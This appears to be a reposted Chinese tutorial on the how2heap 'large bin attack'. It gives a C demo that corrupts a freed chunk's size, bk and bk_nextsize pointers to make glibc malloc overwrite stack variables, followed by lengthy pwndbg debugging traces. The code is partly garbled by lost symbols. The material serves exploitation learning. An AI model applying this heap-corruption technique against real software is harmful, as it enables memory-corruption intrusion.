当前位置: 首页 > news >正文

西乡建网站公司加盟型网站制作

西乡建网站公司,加盟型网站制作,cms网站地图模板,公司注册名称大全how2heap是由shellphish团队制作的堆利用教程#xff0c;介绍了多种堆利用技术#xff0c;后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境#xff1a;从零开始配置pwn环境#xff1a;从零开始配置pwn环境#xff1a;优化pwn虚拟机配置支持libc等指… how2heap是由shellphish团队制作的堆利用教程介绍了多种堆利用技术后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境从零开始配置pwn环境从零开始配置pwn环境优化pwn虚拟机配置支持libc等指令-CSDN博客 1.fastbins的large_bin攻击 根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051都是把一个地址的值改为一个很大的数 先来看一下目标: stack_var1 (0x7fffffffe590): 0 stack_var2 (0x7fffffffe598): 0 分配第一个 large chunk: 0x603000 再分配一个 fastbin 大小的 chunk来避免 free 的时候下一个 large chunk 与第一个合并了 申请第二个 large chunk 在: 0x603360 同样在分配一个 fastbin 大小的 chunk 防止合并掉 最后申请第三个 large chunk 在: 0x6037a0 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并 free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ 0x603360 -- 0x603000 ] 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ] free 掉第三个他会被放到 unsorted bin 中: [ 0x6037a0 -- 0x6030a0 ] 假设有个漏洞可以覆盖掉第二个 chunk 的 size 以及 bk、bk_nextsize 指针 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部largebin 会按照大小排序。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10bk_nextsize 为 stack_var2-0x20 再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了: stack_var1 (0x7fffffffe590): 0x6037a0 stack_var2 (0x7fffffffe598): 0x6037a0   2.large_bin_attack 演示程序 #includestdio.h #includestdlib.hint main() {fprintf(stderr, 根据原文描述跟 unsorted bin attack 实现的功能差不多都是把一个地址的值改为一个很大的数\n\n);unsigned long stack_var1 0;unsigned long stack_var2 0;fprintf(stderr, 先来看一下目标:\n);fprintf(stderr, stack_var1 (%p): %ld\n, stack_var1, stack_var1);fprintf(stderr, stack_var2 (%p): %ld\n\n, stack_var2, stack_var2);unsigned long *p1 malloc(0x320);fprintf(stderr, 分配第一个 large chunk: %p\n, p1 - 2);fprintf(stderr, 再分配一个 fastbin 大小的 chunk来避免 free 的时候下一个 large chunk 与第一个合并了\n\n);malloc(0x20);unsigned long *p2 malloc(0x400);fprintf(stderr, 申请第二个 large chunk 在: %p\n, p2 - 2);fprintf(stderr, 同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n);malloc(0x20);unsigned long *p3 malloc(0x400);fprintf(stderr, 最后申请第三个 large chunk 在: %p\n, p3 - 2);fprintf(stderr, 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n);malloc(0x20);free(p1);free(p2);fprintf(stderr, free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0]));malloc(0x90);fprintf(stderr, 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n, (void *)((char *)p1 0x90));free(p3);fprintf(stderr, free 掉第三个他会被放到 unsorted bin 中: [ %p -- %p ]\n\n, (void *)(p3 - 2), (void *)(p3[0]));fprintf(stderr, 假设有个漏洞可以覆盖掉第二个 chunk 的 \size\ 以及 \bk\、\bk_nextsize\ 指针\n);fprintf(stderr, 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部largebin 会按照大小排序。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10bk_nextsize 为 stack_var2-0x20\n\n);p2[-1] 0x3f1;p2[0] 0;p2[2] 0;p2[1] (unsigned long)(stack_var1 - 2);p2[3] (unsigned long)(stack_var2 - 4);malloc(0x90);fprintf(stderr, 再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了:\n);fprintf(stderr, stack_var1 (%p): %p\n, stack_var1, (void *)stack_var1);fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2);return 0; } 3.调试large_bin_attack  3.1 获得可执行程序  gcc -g large_bin_attack .c -o large_bin_attack  3.2 第一次调试程序 rootpwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack  rootpwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack  GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type show copying and show warranty for details. This GDB was configured as x86_64-linux-gnu. Type show configuration for configuration details. For bug reporting instructions, please see: http://www.gnu.org/software/gdb/bugs/. Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/. For help, type help. Type apropos word to search for commands related to word... pwndbg: loaded 171 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./large_bin_attack ...done. pwndbg r Starting program: /ctf/work/how2heap/large_bin_attack  根据原文描述跟 unsorted bin attack 实现的功能差不多都是把一个地址的值改为一个很大的数先来看一下目标: stack_var1 (0x7fffffffe590): 0 stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000 再分配一个 fastbin 大小的 chunk来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360 同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ 0x603360 -- 0x603000 ]现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]free 掉第三个他会被放到 unsorted bin 中: [ 0x6037a0 -- 0x6030a0 ]假设有个漏洞可以覆盖掉第二个 chunk 的 size 以及 bk、bk_nextsize 指针 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部largebin 会按照大小排序。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10bk_nextsize 为 stack_var2-0x20再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了: stack_var1 (0x7fffffffe590): 0x6037a0 stack_var2 (0x7fffffffe598): 0x6037a0 [Inferior 1 (process 157) exited normally] pwndbg 3.3 第二次调试程序 3.3.1 ​设置断点第32行并走起 ​ 该技术可用于修改任意地址的值例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。 ​ 首先我们分配 chunk p1, p2 和 p3并且在它们之间插入其他的 chunk 以防止在释放时被合并。 wndbg b 32Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32. pwndbg r Starting program: /ctf/work/how2heap/large_bin_attack  根据原文描述跟 unsorted bin attack 实现的功能差不多都是把一个地址的值改为一个很大的数先来看一下目标: stack_var1 (0x7fffffffe590): 0 stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000 再分配一个 fastbin 大小的 chunk来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360 同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并Breakpoint 1, main () at large_bin_attack .c:33 33 free(p1); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603bc0 ◂— 0x0RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x603bc0 ◂— 0x0RDI 0x0RSI 0x603be0 ◂— 0x0R8 0x5fR9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x400850 (main426) ◂— mov rax, qword ptr [rbp - 0x20] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400850 main426 mov rax, qword ptr [rbp - 0x20]0x400854 main430 mov rdi, rax0x400857 main433 call freeplt 0x4005400x40085c main438 mov rax, qword ptr [rbp - 0x18]0x400860 main442 mov rdi, rax0x400863 main445 call freeplt 0x4005400x400868 main450 mov rax, qword ptr [rbp - 0x18]0x40086c main454 mov rax, qword ptr [rax]0x40086f main457 mov rcx, rax0x400872 main460 mov rax, qword ptr [rbp - 0x18]0x400876 main464 lea rdx, [rax - 0x10] ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c28 fprintf(stderr, 最后申请第三个 large chunk 在: %p\n, p3 - 2);29 30 fprintf(stderr, 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n);31 malloc(0x20);32 ► 33 free(p1);34 free(p2);35 fprintf(stderr, free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n, (void *)((char *)p1 0x90)); ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 ◂— 0x0 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400850 main426f 1 7ffff7a2d830 __libc_start_main240 Breakpoint /ctf/work/how2heap/large_bin_attack .c:32 pwndbg parseheap addr prev size status fd bk 0x603000 0x0 0x330 Used None None 0x603330 0x0 0x30 Used None None 0x603360 0x0 0x410 Used None None 0x603770 0x0 0x30 Used None None 0x6037a0 0x0 0x410 Used None None 0x603bb0 0x0 0x30 Used None Nonepwndbg parseheap addr                prev                size                 status              fd                bk                 0x603000            0x0                 0x330                Used                None              None   p1 0x603330            0x0                 0x30                 Used                None              None    p1 0x603360            0x0                 0x410                Used                None              None   p2 0x603770            0x0                 0x30                 Used                None              None    p2 0x6037a0            0x0                 0x410                Used                None              None   p3 0x603bb0            0x0                 0x30                 Used                None              None    p3   3.3.2 ​设置断点第35行并走起  ​ 接下来释放p1和p2它们被放入unsorted bin中。 pwndbg b 35 Breakpoint 2 at 0x400868: file large_bin_attack .c, line 35. pwndbg c Continuing.Breakpoint 2, main () at large_bin_attack .c:35 35 fprintf(stderr, free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0])); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x1RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x0RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RSI 0x0R8 0x5fR9 0x1R10 0x8b8R11 0x7ffff7a914f0 (free) ◂— push r13R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x400868 (main450) ◂— mov rax, qword ptr [rbp - 0x18] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400854 main430 mov rdi, rax0x400857 main433 call freeplt 0x4005400x40085c main438 mov rax, qword ptr [rbp - 0x18]0x400860 main442 mov rdi, rax0x400863 main445 call freeplt 0x400540► 0x400868 main450 mov rax, qword ptr [rbp - 0x18]0x40086c main454 mov rax, qword ptr [rax]0x40086f main457 mov rcx, rax0x400872 main460 mov rax, qword ptr [rbp - 0x18]0x400876 main464 lea rdx, [rax - 0x10]0x40087a main468 mov rax, qword ptr [rip 0x2017df] 0x602060 ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c30 fprintf(stderr, 申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n);31 malloc(0x20);32 33 free(p1);34 free(p2);► 35 fprintf(stderr, free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n, (void *)((char *)p1 0x90));39 40 free(p3); ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1b78 (main_arena88) —▸ 0x603be0 ◂— 0x0 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x603000 ◂— 0x0 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400868 main450f 1 7ffff7a2d830 __libc_start_main240 Breakpoint /ctf/work/how2heap/large_bin_attack .c:35 pwndbg bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x603360 /* 3 */ smallbins empty largebins empty pwndbg parseheap addr prev size status fd bk 0x603000 0x0 0x330 Freed 0x7ffff7dd1b78 0x603360 0x603330 0x330 0x30 Used None None 0x603360 0x0 0x410 Freed 0x603000 0x7ffff7dd1b78 0x603770 0x410 0x30 Used None None 0x6037a0 0x0 0x410 Used None None 0x603bb0 0x0 0x30 Used None None pwndbg pwndbg bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0unsortedbin all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x603360 /* 3 */ smallbins empty largebins empty pwndbg parseheap addr                prev                size                 status              fd                bk                0x603000            0x0                 0x330                Freed     0x7ffff7dd1b78          0x603360 0x603330            0x330               0x30                 Used                None              None0x603360            0x0                 0x410                Freed           0x603000    0x7ffff7dd1b78 0x603770            0x410               0x30                 Used                None              None 0x6037a0            0x0                 0x410                Used                None              None 0x603bb0            0x0                 0x30                 Used                None              None 3.3.3 ​设置断点第39行并走起 接下来去申请一个0x90大小的堆块他会把前面那个0x320大小的堆块切割同时会给unsorted bin中的free chunk进行整理划分把那第二块大的放到large bin第一个剩余的放回到unsorted bin中。 pwndbg b 39 Breakpoint 4 at 0x4008c1: file large_bin_attack .c, line 39. pwndbg c Continuing. 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]Breakpoint 4, main () at large_bin_attack .c:40 40 free(p3); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0xb0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x8ee5a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0xb0R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x4008c1 (main539) ◂— mov rax, qword ptr [rbp - 0x10] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4008a8 main514 mov rax, qword ptr [rip 0x2017b1] 0x6020600x4008af main521 mov esi, 0x400d480x4008b4 main526 mov rdi, rax0x4008b7 main529 mov eax, 00x4008bc main534 call fprintfplt 0x400570► 0x4008c1 main539 mov rax, qword ptr [rbp - 0x10]0x4008c5 main543 mov rdi, rax0x4008c8 main546 call freeplt 0x4005400x4008cd main551 mov rax, qword ptr [rbp - 0x10]0x4008d1 main555 mov rax, qword ptr [rax]0x4008d4 main558 mov rcx, rax ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c35 fprintf(stderr, free 掉第一个和第二个 chunk他们会被放在 unsorted bin 中 [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, 现在去申请一个比他俩小的然后会把第一个分割出来第二个则被整理到 largebin 中第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n, (void *)((char *)p1 0x90));39 ► 40 free(p3);41 fprintf(stderr, free 掉第三个他会被放到 unsorted bin 中: [ %p -- %p ]\n\n, (void *)(p3 - 2), (void *)(p3[0]));42 43 fprintf(stderr, 假设有个漏洞可以覆盖掉第二个 chunk 的 \size\ 以及 \bk\、\bk_nextsize\ 指针\n);44 fprintf(stderr, 减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部largebin 会按照大小排序。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10bk_nextsize 为 stack_var2-0x20\n\n); 45 ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena888) —▸ 0x7ffff7dd1e88 (main_arena872) —▸ 0x7ffff7dd1e78 (main_arena856) ◂— ... 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x7ffff7dd1f68 (main_arena1096) —▸ 0x7ffff7dd1f58 (main_arena1080) —▸ 0x7ffff7dd1f48 (main_arena1064) ◂— ... 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4008c1 main539f 1 7ffff7a2d830 __libc_start_main240 Breakpoint /ctf/work/how2heap/large_bin_attack .c:39 pwndbg bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x6030a0 smallbins empty largebins 0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena1096) ◂— 0x603360 /* 3 */ pwndbg parseheap addr prev size status fd bk 0x603000 0x0 0xa0 Used None None 0x6030a0 0x0 0x290 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 0x603330 0x290 0x30 Used None None 0x603360 0x0 0x410 Freed 0x7ffff7dd1f68 0x7ffff7dd1f68 0x603770 0x410 0x30 Used None None 0x6037a0 0x0 0x410 Used None None 0x603bb0 0x0 0x30 Used None None pwndbg pwndbg bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0unsortedbin all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x6030a0  切割后剩余的 smallbins emptylargebins 0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena1096) ◂— 0x603360 /* 3 */  整理进largebin中 pwndbg parseheap addr                prev                size                 status              fd                bk                 0x603000            0x0                 0xa0                 Used                None              None0x6030a0            0x0                 0x290                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78 切割后剩余的 0x603330            0x290               0x30                 Used                None              None0x603360            0x0                 0x410                Freed     0x7ffff7dd1f68    0x7ffff7dd1f68 整理进largebin中 0x603770            0x410               0x30                 Used                None              None 0x6037a0            0x0                 0x410                Used                None              None 0x603bb0            0x0                 0x30                 Used                None              None 3.3.4 ​设置断点第55行并走起 接着free掉p3将其放入unsorted bin我们伪造的分别是p2的size、bk以及bk_nextsize紧接着进行malloc操作将p3整合进large bin。 ​ Large bin是按照fd指针的顺序从大到小排列的所以需要进行排序排序的操作大概是 //victim是p3、fwd是修改后的p2 {victim-fd_nextsize fwd;//1victim-bk_nextsize fwd-bk_nextsize;//2fwd-bk_nextsize victim;//3victim-bk_nextsize-fd_nextsize victim;//4 } victim-bk bck; victim-fd fwd; fwd-bk victim; bck-fd victim; pwndbg n stack_var1 (0x7fffffffe590): 0x6037a0 55 fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x26RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 (stack_va)R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009cf (main809) ◂— mov rax, qword ptr [rbp - 0x28] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009cf main809 mov rax, qword ptr [rbp - 0x28]0x4009d3 main813 mov rcx, rax0x4009d6 main816 mov rax, qword ptr [rip 0x201683] 0x6020600x4009dd main823 lea rdx, [rbp - 0x28]0x4009e1 main827 mov esi, 0x40102c0x4009e6 main832 mov rdi, rax0x4009e9 main835 mov eax, 00x4009ee main840 call fprintfplt 0x4005700x4009f3 main845 mov eax, 00x4009f8 main850 mov rsi, qword ptr [rbp - 8]0x4009fc main854 xor rsi, qword ptr fs:[0x28] ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c50 p2[3] (unsigned long)(stack_var2 - 4);51 52 malloc(0x90);53 fprintf(stderr, 再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了:\n);54 fprintf(stderr, stack_var1 (%p): %p\n, stack_var1, (void *)stack_var1);► 55 fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2);56 return 0;57 } ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena888) —▸ 0x7ffff7dd1e88 (main_arena872) —▸ 0x7ffff7dd1e78 (main_arena856) ◂— ... 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009cf main809f 1 7ffff7a2d830 __libc_start_main240 pwndbg x/40gx 0x603360-0x20 0x603340: 0x0000000000000000 0x0000000000000000 0x603350: 0x0000000000000000 0x0000000000000000 0x603360: 0x0000000000000000 0x00000000000003f1 0x603370: 0x0000000000000000 0x00000000006037a0 0x603380: 0x0000000000000000 0x00000000006037a0 0x603390: 0x0000000000000000 0x0000000000000000 0x6033a0: 0x0000000000000000 0x0000000000000000 0x6033b0: 0x0000000000000000 0x0000000000000000 0x6033c0: 0x0000000000000000 0x0000000000000000 0x6033d0: 0x0000000000000000 0x0000000000000000 0x6033e0: 0x0000000000000000 0x0000000000000000 0x6033f0: 0x0000000000000000 0x0000000000000000 0x603400: 0x0000000000000000 0x0000000000000000 0x603410: 0x0000000000000000 0x0000000000000000 0x603420: 0x0000000000000000 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000000 0x603440: 0x0000000000000000 0x0000000000000000 0x603450: 0x0000000000000000 0x0000000000000000 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 pwndbg n stack_var2 (0x7fffffffe598): 0x6037a0 56 return 0; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x26RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 (stack_va)R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009f3 (main845) ◂— mov eax, 0 ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009dd main823 lea rdx, [rbp - 0x28]0x4009e1 main827 mov esi, 0x40102c0x4009e6 main832 mov rdi, rax0x4009e9 main835 mov eax, 00x4009ee main840 call fprintfplt 0x400570► 0x4009f3 main845 mov eax, 00x4009f8 main850 mov rsi, qword ptr [rbp - 8]0x4009fc main854 xor rsi, qword ptr fs:[0x28]0x400a05 main863 je main870 0x400a0c↓0x400a0c main870 leave 0x400a0d main871 ret ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c51 52 malloc(0x90);53 fprintf(stderr, 再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了:\n);54 fprintf(stderr, stack_var1 (%p): %p\n, stack_var1, (void *)stack_var1);55 fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2);► 56 return 0;57 } ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK 